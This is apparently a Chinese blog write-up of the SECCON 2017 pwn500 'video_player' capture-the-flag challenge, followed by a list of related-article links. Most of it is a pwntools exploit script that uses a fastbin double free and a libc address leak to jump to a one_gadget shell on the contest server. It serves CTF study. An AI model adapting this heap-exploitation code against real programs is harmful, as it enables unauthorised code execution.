感觉这个题目并不值500分,有些地方比较牵强,漏洞也比较明显,解题方法有多种,出题者把堆的布局随机化了,不过使用fastbin doublefree的话,可以完全忽视被打乱的堆。

 from pwn import *
#context.log_level='debug'
#wah
def newaudioclip(r, bitrate, length, data, description):
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Audio Bitrate : ')
r.send(bitrate)
r.recvuntil('Audio Length (seconds) : ')
r.send(length)
r.recvuntil('Audio Data : ')
r.send(data)
r.recvuntil('Add description : ')
r.send(description) def newvideoclip(r, rs, fps, num, data, description):
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Video Resolution : ')
r.send(rs)
r.recvuntil('FPS : ')
r.send(fps)
r.recvuntil('Number of Frames : ')
r.send(num)
r.recvuntil('Video Data : ')
r.send(data)
r.recvuntil('Add description : ')
r.send(description) def newmetadataclip(r, date, owner):
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Date of Creation : ')
r.send(date)
r.recvuntil('Owner of video : ')
r.send(owner) def editvideoclip(r, inx, rs, fps, num, data, description):
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Enter index : ')
r.sendline(inx)
r.recvuntil('Video Resolution : ')
r.send(rs)
r.recvuntil('FPS : ')
r.send(fps)
r.recvuntil('Number of Frames : ')
r.send(num)
r.recvuntil('Video Data : ')
r.send(data)
r.recvuntil('Edit description : ')
r.send(description) def delclip(r, inx):
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Enter index : ')
r.sendline(inx) close = 0
def playvideoclip(r, inx):
global close
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Enter index : ')
r.sendline(inx)
r.recvuntil('Playing video...\n')
tmp8 = r.recv(8)
final8 = ''
for i in range(0, 8):
final8 += chr(ord(tmp8[i])^0xcc)
close = u64(final8)
print('leaked close is %x'%close) chunk = 0
def playvideoclip1(r, inx):
global chunk
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Enter index : ')
r.sendline(inx)
r.recvuntil('Playing video...\n')
tmp8 = r.recv(8)
final8 = ''
for i in range(0, 8):
final8 += chr(ord(tmp8[i])^0xcc)
chunk = u64(final8)
print('leaked chunk is %x'%chunk) def playvideoclip2(r, inx):
r.recvuntil('>>> ')
r.sendline('')
r.recvuntil('Enter index : ')
r.sendline(inx) if 0:
ip = '127.0.0.1'
port = 10001
else:
ip = 'video_player.pwn.seccon.jp'
port = 7777 def getpid():
import time
exe = 'video_player'
time.sleep(0.1)
pid= pwnlib.util.proc.pidof(exe)
print pid
raw_input('go!') def pwnpwn():
r = remote(ip, port)
r.recvuntil('What is your movie name?')
getpid()
r.send('\x00'*0xff)
#newaudioclip(r, bitrate, length, data, description):
newaudioclip(r, p16(30), p32(0x50), '\x00', '\x00')
#
newvideoclip(r, p64(0), p32(0), p32(0x30), '\x00', '\x00')
editvideoclip(r, '', p64(0), p32(0), p32(0x50), '\x00', '\x00') delclip(r, '')
delclip(r, '') #
newvideoclip(r, p64(0), p32(0), p32(0x50), '\x00', '\x00') data = p64(0x00402968) + p64(0x0) + p32(0x0) + p32(0x50) + p64(0x00604028)
editvideoclip(r, '', p64(0), p32(0), p32(0x50), data, '\x00')
playvideoclip(r, '') #
close_offset = 0xF78B0
binsh_offset = 0x18CD17
system_offset = 0x45390
one_gadget_offset = 0xf1117
binsh = close - close_offset + binsh_offset
system = close - close_offset + system_offset
one_gadget = close - close_offset + one_gadget_offset
data1 = p64(0)*2+p64(one_gadget)
newmetadataclip(r, data1, '\x00'*0x1f) data2 = p64(0x00402968) + p64(0x0) + p32(0x0) + p32(0x50) + p64(0x0000000000604400+3*8)
editvideoclip(r, '', p64(0), p32(0), p32(0x50), data2, '\x00')
playvideoclip1(r, '') raw_input('here')
data3 = p64(chunk)
editvideoclip(r, '', p64(0), p32(0), p32(0x50), data3, 'b'*0x2f)
playvideoclip2(r, '')
r.interactive() pwnpwn()

Seccon2017-pwn500-video_player的更多相关文章

  1. 胖哈勃杯Pwn400、Pwn500详解

    概述 这次的胖哈博杯我出了Pwn400.Pwn500两道题目,这里讲一下出题和解题的思路.我个人感觉前两年的Pwn题更多的是考察单一的利用技巧,比我这有个洞怎么利用它拿到权限.但是我研究了一些最近的题 ...

  2. 基于开源 Openfire 聊天服务器 - 开发Openfire聊天记录插件[转]

    上一篇文章介绍到怎么在自己的Java环境中搭建openfire插件开发的环境,同时介绍到怎样一步步简单的开发openfire插件.一步步很详细的介绍到简单插件开发,带Servlet的插件的开发.带JS ...

  3. iscc2016 pwn部分writeup

    一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...

  4. ZCTF-Pwn

    版权声明:本文为博主原创文章,未经博主允许不得转载.  最近有了点时间,把ZCTF的pwn总结了下,就差最后一个pwn500,另找时间总结. 文件打包:http://files.cnblogs.com ...

  5. 老司机教你下载tumblr上视频和图片的正确姿势

    本文面向初学者. 很多同学问我:“我非常想学Python编程,但是找不到兴趣点”. 还有的同学呢,找到了很好的兴趣点,但是无从下手,“玄魂老师,我想下载tumblr上的视频, 怎么下载,Python能 ...

  6. phpcms添加视频

    phpcms添加视频分为三种情况,一种是在首页播放,一种是在列表页播放,另一种是在内容页播放.其中在首页播放和在列表页播放的区别就是catid值是固定的还是取得当前catid的区别.而在首页和列表页播 ...

  7. openfire:基于开源 Openfire 聊天服务器 - 开发Openfire聊天记录插件

    基于开源 Openfire 聊天服务器 - 开发Openfire聊天记录插件 上一篇文章介绍到怎么在自己的Java环境中搭建openfire插件开发的环境,同时介绍到怎样一步步简单的开发openfir ...

  8. 基于开源 Openfire 聊天服务器 - 开发Openfire聊天记录插件

    原文:http://www.cnblogs.com/hoojo/archive/2013/03/29/openfire_plugin_chatlogs_plugin_.html 随笔-150  评论- ...

  9. HTML5 Video player jQuery plugin

    <!DOCTYPE html> <html lang="en" > <head> <meta charset="utf-8&qu ...

  10. flutter packages.

    connectivity This plugin allows Flutter apps to discover network connectivity and configure themselv ...

随机推荐

  1. ipad4没有声音提示消息

    打开『设置』-『通用』-侧边开关用于: 1:锁定屏幕旋转 2:静音 √ 把对号去掉 选择1即可

  2. 演示一个简单的Redis队列

    0.Windows Service版下载 https://github.com/rgl/redis/downloads 1.新建一个Console项目 打开Nuget控制台,执行以下命令 Instal ...

  3. Android sharedPreferences 用法

    Android 提供了一种数据轻量级的数据持久化方法.使用SharedPreferences 接口 将 key-value 形式的primitive data 存储到文件中.多用于保存软件偏好配置信息 ...

  4. Android 判断当前thread 是否是UI thread

    在Android 中判断当前的Thread是否是UI Thread 的方法: 1. if (Looper.myLooper() == Looper.getMainLooper()) { // Curr ...

  5. BSSID,SSID,ESSID区别

    SSID(Service Set Identifier)   SSID,AP唯一的ID码,许多人认为可以将SSID写成ESSID,其实不然,SSID是个笼统的概念,包含了ESSID和BSSID,用来区 ...

  6. userAgent font-family

    w view-source:http://you.163.com/ CODE <script type="text/javascript"> (function () ...

  7. 时间序列模式——ARIMA模型

    ARIMA模型全称为自回归积分滑动平均模型(Autoregressive Integrated Moving Average Model,简记ARIMA),是由博克思(Box)和詹金斯(Jenkins ...

  8. SpringCloud 进阶之Eureka(服务注册和发现)

    1. Eureka 服务注册与发现 Eureka 是一个基于REST的服务,用于服务的的注册与发现; Eureka采用C-S的设计架构,Eureka Server作为服务注册功能的服务器,它是服务注册 ...

  9. Drainage Ditches---hdu1532(最大流, 模板)

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=1532 最大流模板题: EK:(复杂度为n*m*m); #include<stdio.h> ...

  10. 003-maven简介

    1.1简介 Maven,只是的积累,专家或内行 Maven是优秀的构建工具,依赖管理工具,项目信息管理工具,跨平台.提供了中央仓库,自动下载构件. 1.通过坐标系统定位每一个构件(artifact), ...